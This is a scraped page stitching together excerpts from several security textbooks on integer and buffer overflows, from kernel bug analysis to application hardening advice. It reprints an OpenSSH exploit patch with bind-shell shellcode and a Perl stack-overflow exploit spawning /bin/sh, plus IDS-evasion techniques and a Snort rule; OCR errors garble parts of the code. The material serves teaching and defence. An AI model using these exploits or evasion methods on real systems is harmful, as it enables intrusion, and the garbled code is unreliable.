What occurs on a computer when data goes beyond the limits of a buffer select one a buffer overflow cross

A Taxonomy of Kernel Vulnerabilities

Enrico Perla, Massimiliano Oldani, in A Guide to Kernel Exploitation, 2011

(Arithmetic) Integer Overflows

An integer overflow occurs when you attempt to store inside an integer variable a value that is larger than the maximum value the variable can hold. The C standard defines this situation as undefined behavior (meaning that anything might happen). In practice, this usually translates to a wrap of the value if an unsigned integer was used and a change of the sign and value if a signed integer was used.

Integer overflows are the consequence of “wild” increments/multiplications, generally due to a lack of validation of the variables involved. As an example, take a look at the following code (taken from a vulnerable path that affected the OpenSolaris kernel;6 the code is condensed here to improve readability):

static int64_t

kaioc(long a0, long a1, long a2, long a3, long a4, long a5)

{

[…]

 switch ((int)a0 & ~AIO_POLL_BIT) {

[…]

 case AIOSUSPEND:

 error = aiosuspend((void *)a1, (int)a2, (timespec_t *)a3, [1]

 (int)a4, &rval, AIO_64);

 break;

[…]

/*ARGSUSED*/

static int

aiosuspend(void *aiocb, int nent, struct timespec *timout, int flag, long *rval, int run_mode)

{

[…]

 size_t ssize;

[…]

 aiop = curproc->p_aio;

 if (aiop == NULL || nent <= 0) [2]

 return (EINVAL);

 if (model == DATAMODEL_NATIVE)

 ssize = (sizeof (aiocb_t *) * nent);

 else

 ssize = (sizeof (caddr32_t) * nent); [3]

[…]

 cbplist = kmem_alloc(ssize, KM_NOSLEEP) [4]

 if (cbplist == NULL)

 return (ENOMEM);

 if (copyin(aiocb, cbplist, ssize)) {

 error = EFAULT;

 goto done;

 }

[…]

 if (aiop->aio_doneq) {

 if (model == DATAMODEL_NATIVE)

 ucbp = (aiocb_t **)cbplist;

 else

 ucbp32 = (caddr32_t *)cbplist;

[…]

 for (i = 0; i < nent; i++) { [5]

 if (model == DATAMODEL_NATIVE) {

 if ((cbp = *ucbp++) == NULL)

In the preceding code, kaioc() is a system call of the OpenSolaris kernel that a user can call without any specific privileges to manage asynchronous I/O. If the command passed to the system call (as the first parameter, a0) is AIOSUSPEND [1], the aiosuspend() function is called, passing as parameters the other parameters passed to kaioc(). At [2] the nent variable is not sanitized enough; in fact, any value above 0x3FFFFFFF (which is still a positive value that passes the check at [2]), once used in the multiplication at [3], will make ssize (declared as a size_t, so either 32 bits or 64 bits wide, depending on the model) overflow and, therefore, wrap. Note that this will happen only on 32-bit systems since nent is explicitly a 32-bit value (it is obviously impossible to overflow a 64-bit positive integer by multiplying a small number, as, for example, at [3], by the highest positive 32-bit integer). Seeing this in code form might be helpful; the following is a 32-bit scenario:

0x3FFFFFFF∗4=0xFFFFFFFC[fits in size__t]0x400000000∗4=0x100000000[does not fit in size_t and will result to 0]

In the preceding code, the integer value is cropped, which translates to a loss of information (the discarded bits). ssize is then used at [4] as a parameter to kmem_alloc(). As a result, much less space is allocated than what the nent variable initially dictated.

This is a typical scenario in integer overflow issues and it usually leads to other vulnerabilities, such as heap overflows, if later in the code the original value is used as a loop guard to populate the (now too small) allocated space. An example of this can be seen at [5], even if in this snippet of code nothing is written to the buffer and “only” memory outside it is referenced. Notwithstanding this, this is a very good example of the type of code path you should hunt for in case of an integer overflow.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9781597494861000024

Writing Exploits II

James C. Foster, Mike Price, in Sockets, Shellcode, Porting, & Coding, 2005

Vulnerability details

This OpenSSH vulnerability is a perfect example of an integer overflow vulnerability. The vulnerability is caused by the following snippet of code:

1 nresp = packet_get_int( ) ;

2 if(nresp > 0) {

3 response - xraalloc (nresp * sizeof(char*});

4 for(i = 0 ;i < nresp;i + +) {

5 response[i]- packet_get_string(NULL);

6 }

7 }

An attacker has the ability to change the value of nresp (line 1) by modifying the code in the OpenSSH client. By modifying this value, one can change the amount of memory allocated by xmalloc (line 3). Specifying a large number for nresp, such as 0x40000400, prompts an integer overflow, causing xmalloc to allocate only 4096 bytes of memory. OpenSSH then proceeds to place values into the allocated pointer array (lines 4 through 6), dictated by the value of nresp (line 4), causing heap space to be overwritten with arbitrary data.

Exploitation details

Exploitation of this vulnerability is quite trivial. OpenSSH uses a multitude of function pointers for cleanup functions. All of these function pointers call code that is on the heap. By placing shellcode at one of these addresses, you can cause code execution, yielding remote root access.

Example output from sshd running in debug mode (sshd -ddd):

debug 1 : auth2_challenge_start : trying authentication method ‘bsdauth* Postponed keyboard-interactive for test from 127.0.0.1 port 19170 ssh2 buffer_get: trying to get more bytes 4 than in buffer 0 debugl: Calling cleanup 0x62000(0x0)

We can therefore cause arbitrary code execution by placing shellcode at the heap address 0x62000. This is trivial to accomplish and is performed by populating the heap space and copying assembly instructions directly.

Christophe Devine ([email protected]) has written a patch for OpenSSH that includes exploit code. His patch and instructions follow.

Example 11.1

1 1. Download openssh-3.2.2pl.tar.gz and untar it

2

3 - $ tar -xvzf openssh-3.2.2pl.tar.gz

4

5 2. Apply the patch provided below by running:

6

7 ~/openssh-3 .2 . 2pl $ patch < path_to_dif f_file

8

9 3. Compile the patched client

10

11 -/openssh-3.2.2pl $ ./configure && make ssh

12

13 4. Run the evil ssh:

14

15 ~/openssh-3.2.2pl $ ./ssh root :[email protected]

16

17 5. If the sploit worked, you can connect to port 128 in another terminal:

18

19 - $ nc localhost 128

20 uname -a

21 OpenBSD nice 3.1 GENERIC#59 Ì386

22 id

23 uid=0(root) gid=0(wheel) groups=0(wheel)

24

25 --- sshconnect2.cSun Mar 31 20:49:39 2002

26 + + + evil-sshconnect2.c     Fri Jun 28 19:22:12 2002

27 @@ -839,6 +839,56 @@

28 /*

29 * parse INFO_REQUEST, prompt user and send INFO_RESPONSE

30 */

31 +

32 +int do_syscall( int nb_args,int syscall_num,... );

33 +

34 +void shellcode( void )

35 +{

36 +      int server_sock, client_sock, len;

37 +      struct sockaddr_in server_addr;

38 +      char rootshell[12],*argv[2], *envp[l];

39 +

40 +      server_sock = do_syscall( 3,97, AF_INET, SOCK_STREAM,0 );

41 +      server_addr.sin_addr.s_addr = 0;

42 +      server_addr.sin_port = 32768;

43 +      server_addr. sin_f araily = AF_INET;

44 +      do_syscall( 3, 104, server_sock,(struct sockaddr *) &server_addr,

45 16 );

46 +      do_syscall( 2,106,server_sock,1 );

47 +      client_sock = do_syscall( 3,30,server_sock,(struct sockaddr *)

48 +      &server_addr, &len );

49 +      do_syscall( 2,90, client_sock,0 );

50 +      do_syscall( 2,90, client_sock,1 );

51 +      do_syscall( 2,90, client_sock, 2 );

52 +      *(int *)(rootshell + 0)= 0x6E69622F;

53 +      *(int *)( rootshell + 4 )= 0x0068732f;

54 +      *(int *)( rootshell + 8 )= 0;

55 +      argv[0] = rootshell;

56 +      argv[l]= 0;

57 +      envp[0] = 0;

58 +      do_syscall( 3,59, rootshell, argv, envp );

59 +}

60 +

61 +int do_syscall( int nb_args,int syscall_num,... }

62 +{

63 +      int ret;

64 +      asm (

65 +      “mov 8(%ebp),%eax; “

66 +      “add $3 , %eax; “

67 +      “shl $2,%eax; ■

68 +      “add %ebp,%eax; “

69 +      “mov 8(%ebp),%ecx; “

70 +      “push_args: “

71 +      “push(%eax) ; “

72 +      “sub $4 ,%eax; “

73 +      “looppush_args ; “

74 +      “mov 12(%ebp),%eax; “

75 +      “push$0; “

76 +      “int $0x80; “

77 +      “mov%eax,-4 (%ebp) “

78 + };

79 +      return( ret );

80 +i

81 +

82 void

83 input_userauth_info_req(int type,u_int32_t seq,void *ctxt)

84 {

85 @@ -865,7 +915,7 @@

86 xf ree ( inst) ,-

87 xfree(lang);

88

89 - num_prompts - packet_get_int();

90 +      num_prompts = 1073741824 + 1024;

91 /*

92 * Begin to build info response packet based on prompts requested.

93 * We commit to providing the correct number of responses,so if

94 @8 -874,6 +924,13 [email protected]

95 */

96 packet_start[SSH2_MSG_USERAUTH_INFO_RESPONSE);

97 packet put int(num prompts);

98 +

99 +for( i = 0;i < 1045;i++ )

100 +      packet_put_cstring{“xxxxxxxxxx”);

101 +

102 + packet_put_string( shellcode, 2047 );

103 +      packet_send() ;

104 +      return ;

105

106 debug2(“input_userauth_info_req: num_prompts %d”, num_prompts);

107 for (i = 0; i < num_prompts; i++) {

Here is a full exploitation example using a modified ssh client containing exploit code:

1 $ ssh root :[email protected]&

2 $ telnet 127.0.0.1 128

3 id;

4 uid=0 (root) gid=0 (wheel)

5

This exploit sets the value of the nresp variable to 0x40000400, causing malloc to allocate 4096 bytes of memory. At the same time, the the loop continues to copy data past the allocated buffer onto the heap space. OpenSSH uses many function pointers that are found on the heap following the allocated buffer. This exploit then proceeds to copy the shellcode directly onto the heap in hopes that it will be executed by the SSH cleanup functions, which is the case most of the time.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9781597490054500171

Security through Emulation-Based Processor Diversification

Héctor Marco, ... Juan Carlos Ruiz, in Emerging Trends in ICT Security, 2014

Memory errors

Memory errors usually derive from the exploitation of vulnerabilities (depicted as holes in a wall in Figure 21.1) existing in a given application due to software faults introduced during the software’s implementation. The most common software faults leading to memory errors are off-by-one, integer, and buffer overflow.

Off-by-one vulnerabilities [16] write one byte outside the bounds of allocated memory. They are often related to iterative loops iterating one time too many or common string functions incorrectly terminating strings. For instance, the bug reported by Frank Bussed [17] in the libpng library allowed remote attackers to cause an application crash via a crafted PNG image that triggered an out-of-bounds read during the copy of an error-message data.

Integer vulnerabilities [18] are usually caused by an integer exceeding its maximum or minimum boundary value. They can be used to bypass size checks or cause buffers to be allocated a size too small to contain the data copied into them. A recent bug discovered on the libpng library did not properly handle certain malformed PNG images [19]. It allowed remote attackers to overwrite memory with an arbitrary amount of data and possibly have other unspecified impact, via a crafted PNG image. Vendors affected included Apple, Debian GNU/Linux, Fedora, Gentoo, Google, Novell, Ubuntu, and SUSE.

Buffer overflows [20] are caused by overrunning the buffer’s boundary while writing data into a buffer. This allows attackers to overwrite data that controls the program execution path and hijack the program to execute the attacker’s code instead of the process code. A recent stack-based buffer overflow example involved the cbtls_verify function in FreeRADIUS, causing server crashes and possibly executing arbitrary code via a long “not after” timestamp in a client certificate [21].

Over the past decade, different techniques have been developed to prevent attacks from successfully exploiting these vulnerabilities, thus reducing their chance of causing memory errors.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9780124114746000219

Layer 7: The Application Layer

In Hack the Stack, 2006

Buffer Overflows

Despite being well known, buffer overflows are still one of the most common types of software vulnerabilities. Year after year, buffer overflows are discovered in well-known, widely used software, allowing attackers and worms to compromise hundreds of thousands of machines.

Buffer overflow vulnerabilities typically arise when data is written into a buffer without ensuring that the buffer is big enough to hold the data. If the size of the data is greater than the size of the buffer, the memory beyond the bounds of the buffer can be overwritten by part of the data. Depending on what the memory beyond the buffer is being used for, it may be possible for an attacker to supply data that will result in the execution of attacker-supplied code.

Buffer overflow vulnerabilities are most frequently found in code written in C and C++. These languages leave tasks such as type and boundary checking up to the developer, which means that programming mistakes can lead to vulnerabilities.

Stack Overflows

Buffer overflows are usually categorized according to the memory region in which the overflow occurs. A stack overflow is a buffer overflow that occurs in stack memory. Before we explore how stack overflows occur and how they can be exploited, let’s look at what the stack is used for and how it is organized.

Note

Aleph One’s “Smashing the Stack for Fun and Profit” is one of the best introductions to buffer overflows available. If reading this section piques your interest on the subject, I highly recommend that you check out Aleph One’s paper for more information.

A stack is an abstract data structure in computer science that is used to store data. With stacks, the last item added is the first item to be removed, referred to as Last In, First Out (LIFO). This can be visualized as a stack of papers: the last item placed onto the stack will be the first item taken off of it. The process of adding something to a stack is referred to as pushing it onto the stack, and the process of removing an item from the stack is referred to as popping it off.

The stack area of memory serves a variety of purposes, such as passing arguments to functions, storing local variables, and keeping track of where execution should return to when the current function is finished executing. The layout of the stack is not the same between different architectures, so we focus on the Intel 32-bit architecture (x86), because it is very popular.

Every time a function is called, a new stack frame for that function is created on the top of the stack. This stack frame holds the arguments passed to that function, the address that execution should return to when the function is finished (the return address), and any local variables for the function. The reason why it is necessary to keep track of the return address is because any given function can be called from a number of different places, and when that function is finished executing, the central processing unit (CPU) needs to know what to execute next. A function’s stack frame may also contain a saved copy of the previous stack frame’s base pointer, which is used to reference local variables for a function. When the function has finished executing, the stack frame is essentially removed from the stack, and the return address gets loaded into the instruction pointer register so that the code that originally called the function can resume executing.

In Code Listing 8.4, a stack overflow exists in func(), because it does not check to see if name[] is big enough before copying str into it. If a name with fewer than 256 bytes is supplied as an argument to the program, the program executes normally. However, if a name with more than 256 bytes is supplied, the program crashes (see Code Listing 8.5).

Code Listing 8.4

VulnStack.c Stack Overflow

void func(char *str)

{

 char name [256] ;

 strcpy (name, str) ;

 printf(&quot;Hello, %s\n&quot;,name) ;

}

int main(int argc, char **argv)

{

 if(argc &lt; 2) {

 printf(&quot;Usage: %s name\n&quot;,argv[0]) ;

 return -1 ;

 }

 func(argv[l]) ;

 return 0 ;

}

Let’s run the program in a debugger to see exactly why it’s crashing. The debugger output is shown in Code Listing 8.6.

Code Listing 8.6

Output from Running VulnStack in a Debugger

[email protected] :/tmp/hackthestack &gt; gdb VulnStack

GNU gdb 6.1

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

Type &quot;show copying&quot; to see the conditions.

There is absolutely no warranty for GDB. Type &quot;show warranty&quot; for details.

This GDB was configured as &quot;i586-suse-linux&quot; …Using host libthread_db library &quot;/lib/tls/libthread_db.so.1&quot;.

(gdb) run

AAAA… (300 A's) …AAA

Starting program: /tmp/hackthestack/VulnStack

AAAA . . . (300 A's) . . . AAA

Hello, AAAA… (300 A's) …AAA

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) print $eip

$I = (void *) 0x41414141

With the x86 architecture, the stack grows towards the memory address 0, which means that the return address is at a higher address than the name[] local variable. When str is copied into name[],parts of the stack beyond name[]are overwritten with “A’s.” Figure 8.8 shows the func()’s stack layout on the left, and func()’s stack after the overflow has occurred on the right. Note that the return address was overwritten with AAAA (0x41414141 in hex), so when func() was finished executing, the program tried to execute code at 0x41414141. This can be seen when we print out the value of the instruction pointer register (EIP), which gives a value of 0x41414141. This is an invalid memory address, which caused a segmentation fault.

Figure 8.8. Stack of VulnStack after Overflow

Imagine you’re going to craft a string that contains raw machine code at the beginning, followed by the address of the overflowed buffer. The overflow would overwrite the return address with the address of the overflowed buffer. When func() finished executing, the program would pop the crafted return address off the stack and load it into the instruction pointer, and the code that we supplied in the buffer would be executed (see Figure 8.9).

Figure 8.9. Stack of VulnStack after Overflow with Exploit String

Constructing exploit strings such as this can be tricky. One step that can be especially difficult is determining the correct value to overwrite the return address with. In our example, we need to overwrite the return address with the name[]address. To find the name[] address, we can trigger the overflow in a debugger and analyze the stack to find the start of the string that we supplied. Code Listing 8.7 shows that the overflow string begins at address 0xbfffef30; however, this value may vary depending on the exploit string length.

Code Listing 8.7

Stack Dump in gdb

(gdb) x/50x $esp-300
0xbfffefl4 : 0x40137bd0 0xbffff038 0x080483fe 0x08048568
0xbfffef24 : 0xbfffef30 0x40016d68 0x00000001 0x41414141
0xbfffef34 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef44 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef54 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef64 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef74 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef84 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef94 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefa4 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefb4 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefc4 : 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffefd4 : 0x41414141 0x41414141
(gdb)

Alternatively, we can write C code that finds a general address for the stack, and then we can try to guess the correct address by trying various offsets from that address. (See “Smashing the Stack for Fun and Profit” for more information on this technique.)

It is not easy to determine the exact address of the beginning of name[]. If it is 1 byte off, the supplied code won’t execute properly. One trick to remedy this is placing a no operation (hop) sled before the code. The nop instruction on an x86 essentially tells the processor to do nothing; therefore, if we put a long sequence of nop instructions before the code, all we have to do is guess a return address that falls within that range of the nop instructions. When the function returns, a series of nop instructions are executed until the original code is reached.

So far, the exploit string consists of a nop sled, some raw machine code, and the name[] address. However, unless we make the string the perfect length, the name[] address will not overwrite the return address, and our injected code will not be executed. Instead of determining the exact length to make the string, we can repeat the name[] address continually at the end of the string, which allows us to overwrite the return address without knowing its exact offset from the beginning of the overflowed buffer.

Code Listing 8.8 shows a Perl script that constructs an exploit string to be used to overflow the name[] buffer. The exploit string consists of a nop sled, attacker-supplied code, and a value to overwrite the return address with. This exploit is oversimplified and would not be flexible in the real world; however, it demonstrates the general method that is used to construct exploit buffers.

Code Listing 8.8

Exploit for VulnStack

# Our exploit string will look like [NNNNNCCCCCAAAAA]
# where N = NOP sled, C = raw machine code, and
# A = Address of name[] which will overwrite the
# return address.
# Nop sled that is 200 bytes long. With larger buffers,
# this can be even longer.
my $nopsled = &quot;\x90&quot; x 200;
# Raw machine code to inject. This code simply runs
# &quot;/bin/sh&quot;.
my $code =
&quot;\x99&quot;. # cltd
&quot;\x31\xc0&quot;. # xor %eax,%eax
&quot;\x52&quot; # push %edx
&quot;\x68\x6e\x2f\x73\x68&quot; # push $0x68732f6e
&quot;\x68\x2f\x2f\x62\x69&quot;. # push $0x69622f2f
&quot;\x89\xe3&quot;. # mov %esp,%ebx
&quot;\x52&quot; # push %edx
&quot;\x53&quot;. # push %ebx
&quot;\x89\xel&quot;. # mov %esp,%ecx
&quot;\xb0\x0b&quot;. # mov $0xb,%al
&quot;\xcd\x80&quot;; # int $0x80
# Overwrite the return address with the address of name[],
# which in this case is the value 0xbfffef30. Note that
# the bytes are written in reverse because x86 uses
# something called &quot;little endian&quot; byte format, where the
# least significant byte is stored first in memory.
# We repeat this address 50 times.
my $returnAddress = &quot;\x30\xef\xff\xbf&quot; x 50;
# Construct the exploit string by combining the nop sled,
# code, and return address strings
my $exploitString = &quot;$nopsled&quot;.&quot;$code&quot;.&quot;$returnAddress&quot;;
# print out the exploit string
print $exploitString;

Tip

While exploit code has traditionally been written in languages such as C, most will agree that using a scripting language such as Perl or Python is a much more flexible option. Scripting languages provide greater portability, and are used by the majority of exploitation frameworks.

Passing the exploit string to the vulnerable VulnStack program results in the execution of the attacker-supplied code, which in this case launches /bin/sh. Successful exploitation is demonstrated in Code Listing 8.9.

Code Listing 8.9

Exploitation of VulnStack Vulnerability Using Exploit.pl

[email protected] localhost:/tmp/hackthestack &gt; ./VulnStack 'perl exploit.pl' Hello, 1Ôø?hn/shh//biÔø?SÔø?Ôø?

sh- 2.05b$

In reality, exploiting stack overflows can be much more difficult. However, this example illustrates the basic notion of how execution of attacker-supplied code can result from a buffer overflow vulnerability.

Heap Overflows

The heap is another memory region where buffer overflows commonly occur. This memory region is used by the program at run-time for dynamically allocating and de-allocating chunks of memory. Each chunk of heap memory has its own header that keeps track of information about that chunk as well as the chunks before it.

Since there is no return address to overwrite on the heap, exploiting a heap overflow to execute code is not as straightforward as exploiting a stack overflow. If there are any function pointers or other security-sensitive variables located after the overflowed heap, they can be overwritten to execute code. However, this is not always the case.

In cases where there are no useful variables to overwrite, it is possible to overwrite another chunk’s header or to craft a fake chunk in a manner that can be used to execute code. These exploitation methods are complex and differ greatly between heap implementations. To learn more about heap overflow vulnerabilities, check out w00w00 on Heap Overflows available at www.w00w00.org/files/articles/heaptut.txt, and Vudo Malloc Tricks available at www.phrack.org/phrack/57/p57-0x08.

Integer Overflows

Integer overflows and other integer manipulation vulnerabilities frequently result in buffer overflows. An integer overflow occurs when an arithmetic operation results in a number that is too large to be stored in the space allocated for it. Integers are stored in 32 bits on the x86 architecture; therefore, if an integer operation results in a number greater than 0xffffffff, an integer overflow occurs. Consider the following calculation:

0xffffffff + 1 = 0xl00000000

The result of this calculation is too big to be held in 32-bits of memory, and results in the calculation returning a value of 0. Buffer overflows are sometimes caused by integer overflows (i.e., when the overflowed value is used as an amount of memory to allocate, and the original value is used as a counter for copying).

If you supply 0xffffffff as the length of a string and the program tries to allocate enough memory to hold the string plus an extra byte, the program will end up allocating zero bytes, and will attempt to copy 0xffffffff (4,294,967,295) bytes into that zero-byte chunk.

Integer sign issues have also been known to cause buffer overflows. Consider the code shown in Code Listing 8.10.

Code Listing 8.10

Integer Sign Error

char buffer [64] ;

int length = packet.lengthField;

if (lenght &lt; 64)

{

 strncpy(buffer,packet.dataField, length) ;

}

In this code, the length value provided by a packet is first checked to ensure that it is smaller than the size of the buffer. Next, the length value is passed as a counter to the strncpy() function to copy the packet data to the buffer. The problem with this code is that the length field is a signed integer, meaning it can be negative or positive. Therefore, providing a negative length value in the packet will pass the check in the if statement. However, when the length is passed to strncpy(), it is interpreted as an unsigned integer. When a negative number is interpreted as an unsigned integer, it becomes a very large positive number. Therefore, using a negative value for the length field of the packet will cause the strncpy() function to overflow the buffer.

Exploiting Buffer Overflows

The goal of exploiting a buffer overflow is to force the vulnerable program to execute code that we supply. This machine code is known as shellcode, a term that came from early exploit payloads that provided root shells to attackers. Since then, shellcode has been written to perform a wide variety of tasks, including adding usernames, downloading and executing files, attacking other machines, and turning the exploited process into a Virtual Network Computing (VNC) server.

An alternative approach to providing our own code is to point execution at already-existing code that can fulfill our goals. For example, if our goal is to execute another program such as “/bin/sh”, we could use the system() function call under Linux to execute the program. With stack overflows, we can overwrite parts of the stack in order to specify arguments to pass to the function. This technique is called return-into-libc. It was first proposed as a method to bypass some buffer overflow protection methods such as nonexecutable stacks.

Common Payloads

Buffer overflows and other software vulnerabilities are categorized as being either local or remote. Local vulnerabilities can be used to escalate privileges on a system where you already have local access. Remote vulnerabilities can be used to execute code on a remote machine by sending it malicious network traffic or files.

Most exploit payloads for local vulnerabilities spawn a shell with the same privileges as the vulnerable program. In UNIX, buffer overflows in setuid root programs are exploited in order to get a root shell on the system. On Microsoft Windows, local privilege escalation vulnerabilities are also frequently used to launch a cmd.exe process with system privileges. Other common payloads for local vulnerabilities include adding a new user with superuser or administrative privileges, or creating and starting a new service that can be used for further compromise.

Remote vulnerabilities are also frequently exploited to gain a shell on the targeted system. However, the payload has the added responsibility of making the shell accessible over the network. There are two common approaches to accomplishing this. The first approach is to bind the shell to a port on the targeted host, which allows an attacker to use utilities such as Telnet or netcat to reach the shell. This is known as a bind shell.

The main problem with a bind shell approach is that filtering between the attacker and victim often blocks access to the port that the shell is bound to. To solve this problem, a reverse shell is often used, where the attacker opens up a listener on their machine and the payload connects back to it in order to provide the shell.

Sometimes strict outbound filtering from the targeted host can prevent a reverse shell from being used. In these cases, a more advanced payload can be used that delivers the shell over the same connection that the exploit was sent over (e.g., if you are exploiting a buffer overflow in a Web server, the shell can be reached using the HTTP connection that was originally used to send the exploit).

When a file is downloaded and executed on an exploited host, another common payload for remote vulnerabilities is created. Malicious Web sites frequently exploit vulnerabilities in Web browsers to download and execute spyware and other malware. This payload is also used when the vulnerability is exploited, by sending the victim a specially crafted file. A large number of vulnerabilities exist that are triggered when the victim opens a specially crafted JPEG, Word document, or other type of file. Worms frequently use a download and execute payload to upload themselves to new hosts in order to propagate. You can write your own shellcode using low-level assembly, but most exploit developers will simply reuse publicly available shellcode. Go to www.milw0rm.com for shellcode for various OSes and platforms. The Metasploit Framework also has a built-in payload development kit.

Camouflaging Attacks

Intrusion detection systems such as Snort is frequently used to detect buffer overflow attacks in network traffic. In addition to traditional IDS attacks such as fragmentation, a variety of techniques can be used to create exploits that evade an IDS.

An IDS utilizes signatures that attempt to identify signs of an exploit such as nop sleds, which can be detected by inspecting traffic for long sequences of 0x90 bytes. To evade this type of detection, a randomized nop sled can be created. Instead of using nop instructions, a series of instructions that have no overall impact can be used (e.g., a register could be incremented and then immediately decremented). A randomized nop sled such as this would be able to evade nop sled signatures.

Sometimes an IDS uses signatures that look for known shellcode. In these cases, useless garbage instructions can be inserted into the shellcode to evade detection. Alternatively, the shellcode could be encoded using a variety of methods, and a small decoder could be added to the beginning of the shellcode. When the shellcode is executed, the original code will be decoded in memory and executed.

Tools & Traps . . .

Using Snort to Detect Buffer Overflows

Many IDS signatures for buffer overflow vulnerabilities look for nop sleds, known shellcode, or other parts of exploits. However, advanced exploitation techniques such as nop sled randomizing and shellcode encoding can be used to evade these signatures.

To reliably detect advanced buffer overflow attacks, it is necessary to look for the condition that triggers the vulnerability and not for the exploit itself. This may involve checking a packet length field to see if its value is above a specific value, or checking the length of a string. Snort provides a powerful language for writing signatures that perform these tasks. Some keywords provided by Snort that are especially useful for detecting buffer overflows are byte_test, isdataat, and pcre.

The byte_test keyword allows you to compare bytes from a packet to a specific value in order to see if the packet’s bytes are greater than, equal to, not equal to, or less than the given value. The byte_test can also compare the two values using various bitwise operations such as AND and OR. This keyword is useful for checking the size fields of a packet to determine if they exceed a certain value that would result in a buffer overflow.

The isdataat keyword can be used to determine if there is data at a specific location in the traffic, which can be especially useful for checking the length of strings. For example, the isdataat keyword tan be used to determine if there is data located 256 bytes after the start of a null-terminated string. The content keyword could then be used to make sure there are no null bytes within those 256 bytes, and you would be able to conclude that the string is at least 256 bytes long.

The pcre keyword can be Used to add Perl Compatible Regular Expressions to Snort signatures. While this is a very powerful language, it can also have a negative impact on a rule’s performance; therefore, its use should be avoided if possible.

The following signature takes advantage of the byte_test keyword to detect exploit attempts for a buffer overflow in the Veritas backup_exec agent. The vulnerability is triggered when an overly long password is sent to the backup agent in an authentication request.

alert tcp $EXTERNAL_NET any - > $HOME_NET 10000 (msq: "EXPLOIT Veritas Backup Agent password overflow attempt"; flow: to_server, established; content :“|00 00 00 03|” ;depth :4; offset:28; byte_jump:4,32; byte_test :4, >,1023,0,relative; reference:cve, 2005-0773; classtype:attempted-admin; sid:3695; rev:1)

The signature first tries to identify client authentication requests by looking for a destination port of 10000 and various byte sequences found in authentication request packets.

In order to detect this vulnerability, the signature checks the password length field in a packet to see if its value is greater than 1023. This is-accomplished with the byte_test keyword. If the length is greater than 1023, the packet will trigger the vulnerability, and the signature will trigger an alert. This signature is part of the rule set that is distributed with Snort.

Read full chapter

URL: //www.sciencedirect.com/science/article/pii/B9781597491099500125

Security

Kelly C. Bourne, in Application Administrators Handbook, 2014

15.3 Application Security

Some steps that should be done when installing an application to help secure are:

Confirm that the version of the software being loaded doesn’t have known vulnerabilities.

Apply patches or upgrades to address any known vulnerabilities.

Remove or disable all unneeded default user accounts created by the application software, or change the passwords for those that have to remain.

If any default accounts are needed to modify, the password so the default isn’t being used.

Remove all of the manufacturer’s documentation from the server.

Remove all examples or test files from the server.

Remove any unneeded compilers, utilities, libraries, etc. from the server.

For externally facing servers modify welcome banners to remove any specific details, e.g., O/S type and version, name and version of the application software.

Display warning banners that advise that this is a secured system and any unauthorized persons logging in will be prosecuted to the full extent of the law.

15.3.1 Known vulnerabilities

Some of the more common vulnerabilities that exist in application software are:

Cross-site scripting

SQL injection

Insecure cryptographic algorithms

Cross-site request forgery

Buffer and integer overflow

Finding out whether the applications your organization depends on contain vulnerabilities isn’t an easy thing to do. There are a number of resources that are available and all should be checked for this critical information.

One unbiased list of potential vulnerabilities is the National Vulnerability Database (NVD). The website, //nvd.nist.gov, allows you to search for software packages known to have vulnerabilities. Before you get your hopes up, the packages in the list tend to be operating systems, database packages, web browsers, office suites, network switches, network routers, and firewalls. It makes sense that packages like that have more patches simply because they are loaded on more servers and are the obvious targets of hackers. It will take time to search through the NVD list, but this resource should be scoured to see if your application has any known vulnerabilities.

Asking the vendor directly about the application’s vulnerabilities can be done, but don’t expect to be given a list of their product’s shortcomings. The era of full disclosure when it comes to vulnerabilities hasn’t arrived yet and may never arrive.

If there is a user group dedicated to the application, then become active in it. This is especially true if the group is independent from the vendor. Networking with your peers, i.e., other Application Administrators, is an excellent source for learning about potential vulnerabilities.

If possible, attend user conferences set up for the application. As well as an excellent time to attend presentations and network with your peers, conferences give you opportunities to meet one on one with the vendor’s technical staff. They are the people that would be the most knowledgeable about potential vulnerabilities of the application.

One last method of learning about flaws in the software is to acquire and run vulnerability scanning tools on your server. The tools are designed to subject servers and applications to known vulnerabilities and determine whether the software is protected against them. On the downside, these tools can only test for vulnerabilities that have already been identified. If a brand new vulnerability, i.e., a zero-day vulnerability, is identified, these tools won’t recognize then until the tool is updated.

15.3.2 Apply patches

The vendor’s website should be referenced to get a list of patches that need to be applied to protect the application from known vulnerabilities. It’s desirable to stay as close as possible to the current release level of the software. Of course, you’ll want to install the patch on a test or development server first to confirm that it doesn’t introduce problems for the application’s use in your organization or environment.

15.3.3 Known file locations

Most application software is installed in widely known and predictable directories, executable names, etc. Hackers either know these details or can learn them in a matter of minutes. To avoid probes that search for known locations, consider installing the application software with nonstandard executable and directory names. This may cause some additional work during the software install and upgrades, but if it prevents you from being the victim of a hacking incursion, then it is worth it.

15.3.4 Disable any default accounts that you don’t use

Applications frequently are installed with default accounts. If you aren’t using them, then they should absolutely be either disabled or deleted. Leaving them enabled is like leaving your front door open when you’re on vacation. Both are an open invitation for an intruder to walk right in.

How can you determine if your application has created any default accounts? Read the documentation looking for explicit lists of accounts or examples that use a default account. Search the vendor’s knowledge base if one exists. Ask the vendor’s support desk for a list of default accounts and what they are used for.

15.3.5 Turnoff unused features

If you’re not using a feature in the application and it can be turned off, then do that. Doing this reduces the features that an intruder can potentially exploit. It also reduces the chances of a legitimate user of inadvertently using the feature and causing problems.

15.3.6 Automatic logoffs

Unattended application sessions represent a security threat. If a legitimate user steps away from their workstation and leaves the application running, then anyone could walk up and cause mischief. At a minimum, doing this would give them access to any confidential information that the user is allowed to bring up.

If the application has the ability to automatically logout inactive users that can minimize this security issue. If this is a configurable option, then it should probably be invoked. The biggest question now becomes what the inactive period should be set to. Your choice on this time period reflects the struggle between security types who want a short inactive period and users who want a longer inactive period.

Read full chapter

